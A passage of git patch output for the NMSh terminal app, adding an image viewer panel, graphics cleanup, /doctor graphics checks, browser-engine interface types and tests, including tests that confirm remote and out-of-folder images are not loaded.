(!ignorePalette && this.paletteState) || this.syntaxPanelState || this.layoutPanelState || this.settingsPanelState + return Boolean(this.stopsEditor || this.chromeEditor || this.screensaverPanel || this.themeStudio || this.themeBridgePanel || this.rowPanel || this.copyPicker || this.summaryReview || this.reportReview || this.comparePanel || this.arcade || this.imageView || this.viewer || this.textEditor || this.background.panel || this.batchReview || this.pinsPanel || this.stripStudio || this.configureList || this.tmuxPanel || this.dotfiles || this.setupState || this.installPrompt || this.presetPanel || this.toolsPanel || this.toolConfigurationLoading || this.toolConfiguration || this.promptPanelState || this.transcriptPanelState || this.providerPanelState || (!ignorePalette && this.paletteState) || this.syntaxPanelState || this.layoutPanelState || this.settingsPanelState || this.resumeBrowser || this.appearanceHub || this.keyboardState || this.startupPanel || this.aboutPanel || this.shellPanel || this.openPanel || this.askState || this.agentView || this.agentPanel || this.launcher || this.modsPanel || this.worktreePanel || this.githubPanel || this.providersOverview || this.understandingPanel || this.cursorPanel || this.doctorPanel || this.watchPanel || this.queuePanel || this.queueHistoryPanel || this.pasteReview || this.misePanel || this.keepAwakePanel); } @@ -5408,7 +5529,8 @@ export class TerminalApp { if (this.reportReview) return renderReportReview(this.reportReview, columns, this.dimensions().rows - 4); if (this.comparePanel) return renderComparePanel(this.comparePanel, columns, this.dimensions().rows - 4); if (this.arcade) { const arcadeFrame = this.arcade.session.render(); this.panelBlocks = arcadeFrame.overlays; return arcadeFrame.rows; } - if (this.viewer) return renderViewer(this.viewer, columns, this.dimensions().rows - 4, this.viewerLook()); + if (this.imageView) return renderImageView(this.imageView, columns, this.dimensions().rows - 4, this.graphicsService()); + if (this.viewer) { const rows = renderViewer(this.viewer, columns, this.dimensions().rows - 4, this.viewerLook()); this.panelBlocks = this.viewer.overlays ?? []; return rows; } if (this.textEditor) return renderEditor(this.textEditor, columns, this.dimensions().rows - 4); if (this.background.panel) return framePanel(this.background.panelRows(Math.max(1, columns - 4), this.dimensions().rows - 4, {now: Date.now(), color: colorLevel() !== 'none', safe: getCurrentGlyphMode() === 'safe'}), columns); @@ -9151,6 +9273,17 @@ export class TerminalApp { this.output.addFrontendInteraction(command, done ? `${op === 'now' ? 'Refreshing' : op === 'stop' ? 'Stopped' : op === 'pause' ? 'Paused' : 'Resumed'} the ${noun} on ${watch.command}.` : 'Nothing changed.', INFO); } + /** What the graphics service and the typography backend decided, and why, as /doctor rows under the host terminal. */ + private graphicsDoctorChecks(): DoctorCheck[] { + const section = 'Host terminal'; + const {columns, rows} = this.dimensions(); + const lines = describeGraphics(decideGraphics({capabilities: this.host.capabilities, env: process.env, mode: this.promptConfiguration.graphicsMode, color: colorLevel(), safeGlyphs: getCurrentGlyphMode() === 'safe', columns, rows})); + return [ + {section, label: lines[0]!, state: 'info', detail: lines.slice(1).join(' · ')}, + {section, label: describeTextSizing({setting: this.promptConfiguration.textSizing, capabilities: this.host.capabilities, env: process.env}), state: 'info'}, + ]; + } + /** /doctor: local, bounded, read-only checks gathered in parallel; a live line while they run. */ private async openDoctor(): Promise { this.panelOrigin = undefined; @@ -9186,7 +9319,7 @@ export class TerminalApp { runtimeAvailable, ...(model ? {state: stateLabel(this.understanding.status, configuration.localUnderstanding)} : {})}, agents: this.agents.harnesses().map(item => ({label: item.harness.name, installed: Boolean(item.executable)})), ...(process.env.VIRTUAL_ENV ? {virtualEnv: process.env.VIRTUAL_ENV} : {})}); - if (this.doctorPanel === panel) { panel.checks = checks; panel.selected = 0; } + if (this.doctorPanel === panel) { panel.checks = [...checks, ...this.graphicsDoctorChecks()]; panel.selected = 0; } } finally { clock?.(); } this.render(); } @@ -9572,6 +9705,11 @@ export class TerminalApp { /** Sized-text blocks the active panel asked for this frame, relative to its rows (placed by render). */ private panelBlocks: TextOverlay[] = []; private typographyKey = ''; + /** The one graphics service: every image NMSh draws goes through it. */ + private graphics?: GraphicsService; + /** The images of the open document (Markdown or HTML) and the standalone image viewer. */ + private viewerImages?: DocumentImages; + private imageView?: ImageViewState; /** Short presentation transitions (launch, completion materialization, Block Seal, Semantic Echo, prompt morph). */ private readonly transitions = new Transitions(() => this.promptConfiguration.motion, () => ({reducedMotion: !this.decorativeMotionAllowed(), effectsOff: false, color: colorLevel() !== 'none'})); @@ -11186,7 +11324,7 @@ export class TerminalApp { // Flow can scroll the input row off screen. cursorVisible: agentCaretRow !== undefined || (!plan.panelActive && plan.inputHeight > 0), }; - this.renderer.setImageOverlay(this.aboutOverlay(plan, columns)); + this.renderer.setImageOverlay(this.aboutOverlay(plan, columns) ?? this.imageOverlay(plan, panelRegion)); this.renderer.setTextBlocks(this.panelTextBlocks(plan, panelRegion)); this.presentationFrame = {frame, plan, ...(agentCaretRow !== undefined ? {agentCaretRow} : {})}; this.paintPresentation(Date.now()); @@ -12955,6 +13093,8 @@ export class TerminalApp { this.endOutputNavigation(false); this.blockPaletteContext = undefined; this.closeArcade(false); + this.releaseViewerImages(); + this.graphics?.releaseAll(); this.clips.clear(); this.clipboardChangeWatch?.stop(); this.clipboardChangeSuggested = false; this.contextEngine.dispose(); diff --git a/src/graphics/service.ts b/src/graphics/service.ts index c962bbe6..c5848f27 100644 --- a/src/graphics/service.ts +++ b/src/graphics/service.ts @@ -78,6 +78,8 @@ export interface Placement { lines: string[]; overlay?: PlacementOverlay; owner: unknown; + /** Identifies the upload behind it (Kitty placeholders), for `keepOnly`. */ + key?: string; } export interface PlaceRequest { @@ -226,7 +228,7 @@ export class GraphicsService { } upload.owners.add(request.owner); upload.at = ++this.clock; - return {kind: 'kitty-placeholder', columns: box.columns, rows: box.rows, lines: placeholderRows(upload.id, box.columns, box.rows), owner: request.owner}; + return {kind: 'kitty-placeholder', columns: box.columns, rows: box.rows, lines: placeholderRows(upload.id, box.columns, box.rows), owner: request.owner, key}; } private overlayPlacement(image: LoadedImage, source: Raster, box: {columns: number; rows: number}, cell: {width: number; height: number}, request: PlaceRequest, mode: 'kitty' | 'iterm2' | 'sixel'): Placement { @@ -293,6 +295,16 @@ export class GraphicsService { } } + /** An owner that redraws (zoom, pan, resize) keeps only the uploads its current placements use; the rest are deleted now. */ + keepOnly(owner: unknown, keys: readonly string[]): void { + const keep = new Set(keys); + for (const [key, upload] of [...this.uploads]) { + if (!upload.owners.has(owner) || keep.has(key)) continue; + upload.owners.delete(owner); + if (upload.owners.size === 0) this.drop(key); + } + } + /** The terminal's images are gone (a program took the screen, or NMSh is exiting): forget and delete all. */ releaseAll(): void { for (const key of [...this.uploads.keys()]) this.drop(key); diff --git a/src/viewer/ImagePanel.ts b/src/viewer/ImagePanel.ts new file mode 100644 index 00000000..94b31995 --- /dev/null +++ b/src/viewer/ImagePanel.ts @@ -0,0 +1,186 @@ +import fs from 'node:fs/promises'; +import path from 'node:path'; +import type {Key} from '../terminal/keys.js'; +import {renderControlRows} from '../ui/controls.js'; +import {framePanel} from '../ui/PanelShell.js'; +import {foreground, UI_COLORS} from '../ui/palette.js'; +import {displayWidth, truncateAnsi, truncateText} from '../util/text.js'; +import type {GraphicsService, LoadedImage, Placement, PlacementOverlay} from '../graphics/service.js'; +import {formatBytes, inert} from './document.js'; +import type {ViewerState} from './ViewerPanel.js'; + +/** + * The image viewer: one image in the viewer's own frame, header and controls, never a separate UI. It shows the image fitted + * to the panel with its aspect ratio kept, zooms (fit, 150%, 200%, 300%, 400%), pans when zoomed, and steps through the images + * beside it (the folder's, or the document's own). It asks the graphics service for every placement, so Kitty + * placeholders, an iTerm2 or Sixel overlay, or character art is chosen in one place, and a resize simply asks again. + * Esc returns to where it was opened from (the document, with its scroll position, or the shell). + */ +export const IMAGE_EXTENSIONS: ReadonlySet = new Set(['png', 'jpg', 'jpeg', 'gif', 'webp']); +export const MAX_SIBLINGS = 500; +const ZOOMS = [1, 1.5, 2, 3, 4] as const; +const PAN_STEP = 0.1; + +export interface ImageEntry { + path: string; + name: string; + /** From a document: its alt text. */ + alt?: string; +} + +export interface ImageViewState { + entries: ImageEntry[]; + index: number; + image?: LoadedImage; + /** The failure for the current entry, said plainly. */ + error?: string; + loading: boolean; + zoom: number; + /** The center of the shown region, as fractions of the image. */ + pan: {x: number; y: number}; + /** Where Esc returns to: the document this image was opened from. */ + returnTo?: ViewerState; + note?: string; + /** The owner of this viewer's placements. */ + readonly owner: object; + /** The last placement's overlay, positioned in the panel rows, for the app to hand to the renderer. */ + overlay?: {y: number; x: number; placement: PlacementOverlay}; +} + +export type ImageViewAction = + | {kind: 'close'} + | {kind: 'load'; index: number} + | {kind: 'copy'; text: string; label: string}; + +export function createImageView(entries: ImageEntry[], index: number, options: {returnTo?: ViewerState} = {}): ImageViewState { + return {entries, index: Math.max(0, Math.min(index, entries.length - 1)), loading: true, zoom: 1, pan: {x: 0.5, y: 0.5}, owner: {}, ...(options.returnTo ? {returnTo: options.returnTo} : {})}; +} + +/** The images beside a file: regular image files of its folder, naturally sorted, bounded. Symlinks are not followed. */ +export async function siblingImages(file: string): Promise<{entries: ImageEntry[]; index: number}> { + const directory = path.dirname(file); + let names: string[] = []; + try { + const found = await fs.readdir(directory, {withFileTypes: true}); + names = found.filter(entry => entry.isFile() && IMAGE_EXTENSIONS.has(path.extname(entry.name).slice(1).toLowerCase())).map(entry => entry.name); + } catch { /* an unreadable folder shows just the one image */ } + names.sort((a, b) => a.localeCompare(b, undefined, {numeric: true, sensitivity: 'base'})); + names = names.slice(0, MAX_SIBLINGS); + const own = path.basename(file); + if (!names.includes(own)) names.unshift(own); + return {entries: names.map(name => ({path: path.join(directory, name), name})), index: names.indexOf(own)}; +} + +export function imageViewKey(state: ImageViewState, key: Key): ImageViewAction | undefined { + state.note = undefined; + const text = key.kind === 'text' ? key.value : undefined; + if (key.kind === 'escape' || key.kind === 'interrupt' || text === 'q') return {kind: 'close'}; + const step = (delta: number): ImageViewAction | undefined => { + const next = state.index + delta; + if (next < 0 || next >= state.entries.length) { state.note = state.entries.length > 1 ? (delta > 0 ? 'This is the last image.' : 'This is the first image.') : undefined; return undefined; } + return {kind: 'load', index: next}; + }; + if (text === 'n' || text === ']' || (key.kind === 'pageDown')) return step(1); + if (text === 'p' || text === '[' || key.kind === 'pageUp') return step(-1); + if ((key.kind === 'right' || text === 'l') && state.zoom === 1) return step(1); + if ((key.kind === 'left' || text === 'h') && state.zoom === 1) return step(-1); + if (text === '+' || text === '=') { const at = ZOOMS.findIndex(zoom => zoom > state.zoom); if (at >= 0) state.zoom = ZOOMS[at]!; clampPan(state); return undefined; } + if (text === '-' || text === '_') { const at = [...ZOOMS].reverse().findIndex(zoom => zoom < state.zoom); if (at >= 0) state.zoom = [...ZOOMS].reverse()[at]!; clampPan(state); return undefined; } + if (text === '0') { state.zoom = 1; state.pan = {x: 0.5, y: 0.5}; return undefined; } + if (state.zoom > 1) { + const amount = PAN_STEP / state.zoom * 2; + if (key.kind === 'left' || text === 'h') state.pan.x -= amount; + else if (key.kind === 'right' || text === 'l') state.pan.x += amount; + else if (key.kind === 'up' || text === 'k') state.pan.y -= amount; + else if (key.kind === 'down' || text === 'j') state.pan.y += amount; + clampPan(state); + return undefined; + } + if (text === 'c') { const entry = state.entries[state.index]; return entry ? {kind: 'copy', text: entry.path, label: 'Copied the image path'} : undefined; } + return undefined; +} + +function clampPan(state: ImageViewState): void { + const half = 0.5 / state.zoom; + state.pan.x = Math.max(half, Math.min(1 - half, state.pan.x)); + state.pan.y = Math.max(half, Math.min(1 - half, state.pan.y)); + if (state.zoom === 1) state.pan = {x: 0.5, y: 0.5}; +} + +/** A step to a different image: the viewer starts over at fit. */ +export function showImage(state: ImageViewState, index: number, image: LoadedImage | undefined, error?: string): void { + state.index = index; + if (image) state.image = image; else delete state.image; + if (error) state.error = error; else delete state.error; + state.loading = false; + state.zoom = 1; + state.pan = {x: 0.5, y: 0.5}; +} + +function controls(state: ImageViewState, columns: number): string[] { + const width = Math.max(1, columns - 4); + return renderControlRows([ + ...(state.entries.length > 1 ? [['n/p', 'next/previous'] as const] : []), + ['+/-', 'zoom'], ...(state.zoom > 1 ? [['←→↑↓', 'pan'] as const] : []), ['0', 'fit'], ['c', 'copy path'], ['Esc', state.returnTo ? 'back to document' : 'close'], + ], width); +} + +function header(state: ImageViewState, columns: number): string[] { + const width = Math.max(10, columns - 4); + const primary = foreground(UI_COLORS.primary); + const subtle = foreground(UI_COLORS.subtle); + const entry = state.entries[state.index]; + const name = truncateText(inert(entry?.alt ? `${entry.alt} (${entry.name})` : entry?.name ?? 'image'), Math.max(8, Math.floor(width * 0.55))); + const image = state.image; + const parts: string[] = []; + if (image) { + parts.push(image.info.format.toUpperCase(), `${image.info.width} × ${image.info.height}`, formatBytes(image.fileBytes)); + if (image.info.animated) parts.push('animated: first frame'); + if (image.raster.width !== image.info.width) parts.push('shown reduced'); + } + if (state.zoom > 1) parts.push(`${Math.round(state.zoom * 100)}%`); + if (state.entries.length > 1) parts.push(`${state.index + 1} of ${state.entries.length}`); + return [` ${primary}${name}${RESET} ${subtle}${truncateText(parts.join(' · '), Math.max(1, width - displayWidth(name) - 2))}${RESET}`]; +} + +const RESET = '\u001b[0m'; + +export interface ImageRender { + rows: string[]; + /** Set by `renderImageView` for an overlay placement: where the app should draw it, in the returned rows. */ + overlay?: {y: number; x: number; placement: PlacementOverlay}; +} + +/** The panel rows for the current image at `columns` x `height` (the viewer's own convention: a leading frame rule and a trailing one). */ +export function renderImageView(state: ImageViewState, columns: number, height: number, service: GraphicsService): string[] { + const subtle = foreground(UI_COLORS.subtle); + const failure = foreground(UI_COLORS.failure); + const head = header(state, columns); + const foot = controls(state, columns); + const body = Math.max(1, height - 2 - head.length - 1 - foot.length); + const width = Math.max(4, columns - 4); + const out = [...head]; + const area: string[] = []; + state.overlay = undefined; + if (state.loading) area.push(` ${subtle}Loading…${RESET}`); + else if (state.error) area.push(` ${failure}${truncateText(state.error, width)}${RESET}`); + else if (state.image) { + const half = 0.5 / state.zoom; + const crop = state.zoom > 1 ? {x: state.pan.x - half, y: state.pan.y - half, width: 1 / state.zoom, height: 1 / state.zoom} : undefined; + let placement: Placement; + try { placement = service.place(state.image, {columns: width, rows: body, owner: state.owner, surface: 'viewer', upscale: state.zoom > 1, ...(crop ? {crop} : {})}); } + catch { placement = {kind: 'text', columns: 1, rows: 1, lines: ['[the image could not be drawn here]'], owner: state.owner}; } + const left = Math.max(0, Math.floor((width - placement.columns) / 2)); + const top = Math.max(0, Math.floor((body - placement.rows) / 2)); + for (let row = 0; row < top; row += 1) area.push(''); + for (const line of placement.lines) area.push(` ${' '.repeat(left)}${line}`); + if (placement.overlay) state.overlay = {y: 1 + out.length + top, x: 2 + left, placement: placement.overlay}; + service.keepOnly(state.owner, placement.key ? [placement.key] : []); + } + while (area.length < body) area.push(''); + out.push(...area.slice(0, body)); + const note = state.note ?? (state.image && state.image.info.format === 'gif' && state.image.info.animated ? 'Animated GIF: the first frame is shown.' : ''); + out.push(` ${subtle}${truncateText(note, width)}${RESET}`, ...foot.map(row => ` ${row}`)); + const rule = framePanel([], columns)[0]!; + return [...framePanel(out.slice(0, Math.max(0, height - 2)).map(row => truncateAnsi(row, columns)), columns), rule]; +} diff --git a/tests/viewImages.test.ts b/tests/viewImages.test.ts new file mode 100644 index 00000000..fd3be46c --- /dev/null +++ b/tests/viewImages.test.ts @@ -0,0 +1,157 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync} from 'node:fs'; +import {join} from 'node:path'; +import {resolveProbeReplies} from '../src/host/probe.js'; +import {containsKittyBytes} from '../src/graphics/kittyPlaceholder.js'; +import {encodePng} from '../src/graphics/pngEncode.js'; +import type {Raster} from '../src/graphics/raster.js'; +import {stripAnsi} from '../src/util/text.js'; +import {executionFrameFixture} from './support/executionTimelineFrames.js'; + +const png = (width: number, height: number, color: [number, number, number] = [200, 90, 140]): Uint8Array => { + const data = new Uint8ClampedArray(width * height * 4); + for (let i = 0; i < width * height; i += 1) data.set([...color, 255], i * 4); + const raster: Raster = {width, height, data}; + return encodePng(raster); +}; +const settle = async (until: () => boolean) => { for (let i = 0; i < 200 && !until(); i += 1) await new Promise(done => setTimeout(done, 10)); }; + +function fixture(options: {kitty?: boolean} = {}) { + const dir = mkdtempSync(join(process.env.TMPDIR ?? '/tmp', 'view-img-')); + const previous = {TERM_PROGRAM: process.env.TERM_PROGRAM, TMUX: process.env.TMUX}; + const frame = executionFrameFixture(110, 40); + // The frame fixture isolates the environment; the terminal under test is set after it. + process.env.TERM_PROGRAM = options.kitty ? 'ghostty' : 'zed'; + delete process.env.TMUX; + const app = frame.app; + app['shellCwd'] = dir; + const sent: string[] = []; + app['renderer'].sendRaw = (data: string) => { sent.push(data); }; + if (options.kitty) app['host'].capabilities = resolveProbeReplies('\u001b_Gi=31;OK\u001b\\\u001b[6;16;8t', app['host'].capabilities, {extended: true}).capabilities; + const view = async (target: string) => app['runSlash'](`/view ${target}`, {kind: 'view', target}); + const screen = () => frame.capture().frame.rows.map(row => stripAnsi(row)).join('\n'); + const raw = () => frame.capture().frame.rows.join('\n'); + return {dir, app, frame, sent, view, screen, raw, key: (value: Parameters[0]) => app['handleKey'](value), done: () => { + frame.dispose(); rmSync(dir, {recursive: true, force: true}); + for (const [name, value] of Object.entries(previous)) { if (value === undefined) delete process.env[name]; else process.env[name] = value; } + }}; +} + +test('/view image.png: character art on a terminal without a protocol, with name, size and navigation; Esc restores the shell', async () => { + const f = fixture(); + try { + writeFileSync(join(f.dir, 'a.png'), png(160, 80)); + writeFileSync(join(f.dir, 'b.png'), png(40, 40, [20, 200, 90])); + await f.view('a.png'); + await settle(() => Boolean(f.app['imageView'] && !f.app['imageView'].loading)); + const text = f.screen(); + assert.match(text, /a\.png/u); + assert.match(text, /PNG · 160 × 80/u); + assert.match(text, /1 of 2/u); + assert.match(text, /n\/p next\/previous/u); + assert.match(f.raw(), /[▀▄▌▐▘▝▖▗▙▛▜▟▞▚█]/u, 'character art rows'); + assert.equal(f.sent.length, 0, 'nothing written to the terminal for character art'); + f.key({kind: 'text', value: 'n'}); + await settle(() => f.app['imageView']?.index === 1 && !f.app['imageView'].loading); + assert.match(f.screen(), /b\.png[\s\S]*2 of 2/u); + f.key({kind: 'text', value: '+'}); + assert.match(f.screen(), /150%/u); + f.key({kind: 'text', value: '0'}); + f.key({kind: 'escape'}); + assert.equal(f.app['imageView'], undefined); + assert.equal(f.app['editor'].text, ''); + } finally { f.done(); } +}); + +test('/view image.png on a Kitty terminal: uploaded once as placeholders, deleted on Esc', async () => { + const f = fixture({kitty: true}); + try { + writeFileSync(join(f.dir, 'a.png'), png(160, 80)); + await f.view('a.png'); + await settle(() => Boolean(f.app['imageView'] && !f.app['imageView'].loading)); + const rows = f.raw(); + assert.ok(containsKittyBytes(rows), 'placeholder cells in the frame'); + assert.equal(f.sent.filter(data => data.includes('a=t')).length, 1, 'one upload'); + f.screen(); + assert.equal(f.sent.filter(data => data.includes('a=t')).length, 1, 'redrawing the same view uploads nothing'); + f.key({kind: 'escape'}); + assert.ok(f.sent.some(data => data.includes('a=d,d=I')), 'the image is deleted from the terminal'); + } finally { f.done(); } +}); + +test('/view image.png: unreadable, huge-declared and non-image files say why and leave the shell usable', async () => { + const f = fixture(); + try { + writeFileSync(join(f.dir, 'broken.png'), 'not really a png'); + await f.view('broken.png'); + await settle(() => Boolean(f.app['imageView'] && !f.app['imageView'].loading)); + assert.match(f.screen(), /not an image format|cannot|malformed|unsupported|could not/iu); + f.key({kind: 'escape'}); + assert.equal(f.app['imageView'], undefined); + await f.view('missing.png'); + await settle(() => Boolean(f.app['imageView'] && !f.app['imageView'].loading)); + assert.match(f.screen(), /not found/u); + f.key({kind: 'escape'}); + } finally { f.done(); } +}); + +test('README: local images are drawn where they are written, remote and escaping ones are placeholders with the reason', async () => { + const f = fixture(); + try { + mkdirSync(join(f.dir, 'docs', 'img'), {recursive: true}); + mkdirSync(join(f.dir, 'outside')); + writeFileSync(join(f.dir, 'docs', 'img', 'logo.png'), png(160, 64)); + writeFileSync(join(f.dir, 'outside', 'secret.png'), png(16, 16)); + symlinkSync(join(f.dir, 'outside'), join(f.dir, 'docs', 'link')); + writeFileSync(join(f.dir, 'docs', 'README.md'), [ + '# Project', '', '![Logo](img/logo.png)', '', 'Remote: ![Banner](https://example.com/b.png)', '', '![Up](../outside/secret.png)', '', '![Link](link/secret.png)', '', '![Gone](img/missing.png)', '', + '

Same logo

', '', 'The end.', + ].join('\n')); + f.app['shellCwd'] = join(f.dir, 'docs'); + await f.view('README.md'); + await settle(() => Boolean(f.app['viewer'])); + const text = f.screen(); + assert.match(text, /Project/u); + assert.doesNotMatch(text, /\[image: Logo\]/u, 'the logo is drawn, not named'); + assert.match(text, /\[image: Banner\] \(remote images are not fetched\)/u); + assert.match(text, /\[image: Up\] \(outside this folder, not shown\)/u); + assert.match(text, /\[image: Link\] \(outside this folder, not shown\)/u, 'a symlink out of the folder is refused'); + assert.match(text, /\[image: Gone\] \(file not found\)/u); + assert.match(text, /i images/u); + assert.match(f.raw(), /[▀▄▌▐▘▝▖▗▙▛▜▟▞▚█]/u); + // The i key opens the first image; Esc returns to the same document. + f.key({kind: 'text', value: 'i'}); + await settle(() => Boolean(f.app['imageView'] && !f.app['imageView'].loading)); + assert.match(f.screen(), /Logo \(logo\.png\)|logo\.png/u); + f.key({kind: 'escape'}); + assert.ok(f.app['viewer'], 'back in the document'); + assert.match(f.screen(), /Project/u); + f.key({kind: 'escape'}); + assert.equal(f.app['viewer'], undefined); + assert.equal(f.app['viewerImages'], undefined, 'closing the document closes its images'); + } finally { f.done(); } +}); + +test('Images off: a README shows placeholders only and nothing is decoded', async () => { + const f = fixture(); + try { + writeFileSync(join(f.dir, 'logo.png'), png(32, 32)); + writeFileSync(join(f.dir, 'README.md'), '# Hi\n\n![Logo](logo.png)\n'); + f.app['promptConfiguration'].graphicsMode = 'off'; + await f.view('README.md'); + await settle(() => Boolean(f.app['viewer'])); + assert.match(f.screen(), /\[image: Logo\]/u); + assert.equal(f.app['graphics']?.stats().cached ?? 0, 0); + } finally { f.done(); } +}); + +test('/doctor reports the graphics decision and the text sizing state', async () => { + const f = fixture({kitty: true}); + try { + const checks = f.app['graphicsDoctorChecks'](); + assert.match(checks[0]!.label, /Kitty graphics \(verified\)/u); + assert.match(checks[0]!.detail ?? '', /Kitty Unicode placeholders/u); + assert.match(checks[1]!.label, /Text sizing:/u); + } finally { f.done(); } +}); From b900631a932fb97ca8ff34db65a5d73fb0707841 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 14:01:49 +0530 Subject: [PATCH 123/157] Tests: live paste and clip reviews choose Queue all, then confirm with Enter --- tests/clipsLive.test.ts | 3 +++ tests/pasteBatchLive.test.ts | 5 +++++ 2 files changed, 8 insertions(+) diff --git a/tests/clipsLive.test.ts b/tests/clipsLive.test.ts index 97136947..86b1770e 100644 --- a/tests/clipsLive.test.ts +++ b/tests/clipsLive.test.ts @@ -39,6 +39,9 @@ test('live: an explicit clipboard read can be kept as a clip, reviewed again and await frontend.waitFor(/Review commands/u, mark); assert.equal(existsSync(execution), false, 'batch review never dispatches'); frontend.pty.write('q'); + await frontend.waitFor(/queue all/u, mark); + assert.equal(existsSync(execution), false, 'choosing Queue all dispatches nothing'); + frontend.pty.write('\r'); await until(() => existsSync(execution), 15_000, 'explicitly approved queued command'); await frontend.waitFor(/CLIP-DONE[\s\S]*from queue/u, mark); } finally { await sandbox.dispose(); } diff --git a/tests/pasteBatchLive.test.ts b/tests/pasteBatchLive.test.ts index eea07af7..fc9e51dc 100644 --- a/tests/pasteBatchLive.test.ts +++ b/tests/pasteBatchLive.test.ts @@ -41,6 +41,11 @@ for (const shell of ['zsh', 'bash', 'fish'] as const) { await frontend.waitFor(/Review commands[\s\S]*5 commands/u, mark); await pause(300); assert.doesNotMatch(strip(frontend.output.slice(mark)), /in-sub|loop-a/u, 'reviewing runs nothing'); + // Choosing the mode runs nothing; Enter on Queue all is the confirmation. + frontend.pty.write('q'); + await frontend.waitFor(/Enter\s+queue all 5/u, mark); + await pause(300); + assert.doesNotMatch(strip(frontend.output.slice(mark)), /in-sub|loop-a/u, 'choosing Queue all runs nothing'); mark = frontend.mark; frontend.pty.write('\r'); await frontend.waitFor(/in-sub[\s\S]*loop-a[\s\S]*loop-b/u, mark, 30_000); From 27ca41aa6e7aafde4ddb5ded8eddb46b98c6a960 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 14:03:37 +0530 Subject: [PATCH 124/157] Browser: the engine and preview boundary (types) --- src/browser/types.ts | 173 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 173 insertions(+) create mode 100644 src/browser/types.ts diff --git a/src/browser/types.ts b/src/browser/types.ts new file mode 100644 index 00000000..e3a08752 --- /dev/null +++ b/src/browser/types.ts @@ -0,0 +1,173 @@ +/** + * The boundary between NMSh and a real browser engine. + * + * NMSh draws a real web page by asking an installed Chromium to render it (over the DevTools Protocol, on a pipe, no network port) + * and showing the frames the engine produces through the graphics service. Nothing in NMSh depends on Chromium except the + * implementation of these interfaces (`src/browser/engine/*`); the panel and the document workspace only see this file, so they + * run against a fake engine in tests, and NMSh works fully without a browser installed. + * + * Lifecycle: the engine starts lazily on the first `open`, is shared by every page (web tabs and document previews), and shuts down + * when the last page is closed and `idleMs` has passed, when NMSh exits, or on `shutdown()`. Exactly one browser process tree exists at + * a time. Pages of kind `web` live in a persistent profile; pages of kind `preview` each get their own throwaway browser context. + */ + +export type BrowserAvailability = {ok: true; executable: string; version: string} | {ok: false; reason: string}; + +export type PageKind = 'web' | 'preview'; + +export interface Viewport { + /** CSS pixels. */ + width: number; + height: number; + /** Device pixel ratio of the frames (1 = frames are `width` x `height` pixels). */ + scale: number; +} + +export interface OpenOptions { + kind: PageKind; + viewport: Viewport; + /** `web` only: the address to load. Previews load their `PreviewHandle.url`. */ + url?: string; + /** Scripts run. `web` pages default to true; `preview` pages to false and need an explicit trust decision. */ + scripts?: boolean; + /** Emulate prefers-color-scheme / prefers-reduced-motion so a page follows NMSh's theme and motion settings. */ + colorScheme?: 'light' | 'dark'; + reducedMotion?: boolean; + /** `preview` only: remote resources may be fetched (default false: only the preview origin is reachable). */ + allowRemote?: boolean; +} + +/** One rendered frame, PNG-encoded, at `viewport.width * scale` x `viewport.height * scale` pixels. */ +export interface Frame { + png: Uint8Array; + width: number; + height: number; + /** Increases by one per delivered frame. */ + sequence: number; +} + +export type MouseEventInput = + | {type: 'move'; x: number; y: number; modifiers?: number} + | {type: 'down' | 'up'; x: number; y: number; button: 'left' | 'middle' | 'right'; clickCount?: number; modifiers?: number} + | {type: 'wheel'; x: number; y: number; deltaX: number; deltaY: number; modifiers?: number}; + +export interface KeyEventInput { + /** DOM `key` ('a', 'Enter', 'ArrowDown', 'Backspace', 'Tab', 'Escape', 'F5'…). */ + key: string; + /** DOM `code` when known ('KeyA', 'Enter'…); optional. */ + code?: string; + /** Printable text produced by the key, for typing into fields. */ + text?: string; + /** Bit mask: 1 Alt, 2 Ctrl, 4 Meta, 8 Shift (the DevTools Protocol's). */ + modifiers?: number; +} + +export type PageEvent = + | {type: 'navigated'; url: string} + | {type: 'title'; title: string} + | {type: 'loading'; loading: boolean} + /** A script dialog (alert/confirm/prompt/beforeunload) was dismissed for the person; the message is for a notice. */ + | {type: 'dialog'; kind: string; message: string} + /** The page asked for a new window; it opens as a tab (`web`) or is refused (`preview`). */ + | {type: 'popup'; url: string} + | {type: 'download-blocked'; url: string} + /** An editable element (field, textarea, contenteditable) gained or lost focus: keys then belong to the page. */ + | {type: 'editable'; editable: boolean} + /** A request or navigation the page's policy refused (remote resource in a preview, a non-http scheme…). */ + | {type: 'blocked'; url: string; reason: string} + | {type: 'crashed'} + | {type: 'closed'}; + +export interface BrowserPage { + readonly id: string; + readonly kind: PageKind; + readonly url: string; + readonly title: string; + readonly loading: boolean; + readonly canGoBack: boolean; + readonly canGoForward: boolean; + readonly viewport: Viewport; + /** Page zoom (1 = 100%). */ + readonly zoom: number; + readonly editable: boolean; + + navigate(url: string): Promise; + reload(options?: {hard?: boolean}): Promise; + back(): Promise; + forward(): Promise; + stop(): Promise; + setViewport(viewport: Viewport): Promise; + setZoom(zoom: number): Promise; + setScripts(enabled: boolean): Promise; + + /** + * Frames as the page changes (a static page produces one). The engine sends the next frame only after the listener's returned + * promise settles (or it returned nothing), so a slow consumer causes frames to be skipped, never queued. + */ + onFrame(listener: (frame: Frame) => void | Promise): () => void; + /** One frame of the current state now (a fresh capture even when nothing changed). */ + capture(): Promise; + onEvent(listener: (event: PageEvent) => void): () => void; + + mouse(event: MouseEventInput): Promise; + key(type: 'down' | 'up' | 'char', event: KeyEventInput): Promise; + /** Insert text as if typed or pasted into the focused field. */ + insertText(text: string): Promise; + /** Find in page; resolves with the number of matches and the current index (1-based, 0 when none). */ + find(query: string, options?: {backwards?: boolean}): Promise<{matches: number; current: number}>; + clearFind(): Promise; + + /** For previews: the run-time knobs; tabs never use it. */ + close(): Promise; +} + +export interface BrowserStats { + running: boolean; + pages: number; + pid?: number; + startedAt?: number; + executable?: string; +} + +export interface BrowserEngine { + available(): Promise; + /** Start the engine if needed and open a page. Rejects with a message fit for the person if no browser is available. */ + open(options: OpenOptions): Promise; + pages(): readonly BrowserPage[]; + /** Stop the process tree now (pages are closed). Safe to call repeatedly. */ + shutdown(): Promise; + stats(): BrowserStats; +} + +// ---- Local document preview ------------------------------------------------------------------------------------------------ + +/** + * A document served from memory on a loopback-only server: the editor's current buffer (saved or not), with the files beside it + * available under a restricted rule. The server is a function of this object only; it reads nothing the document did not name. + */ 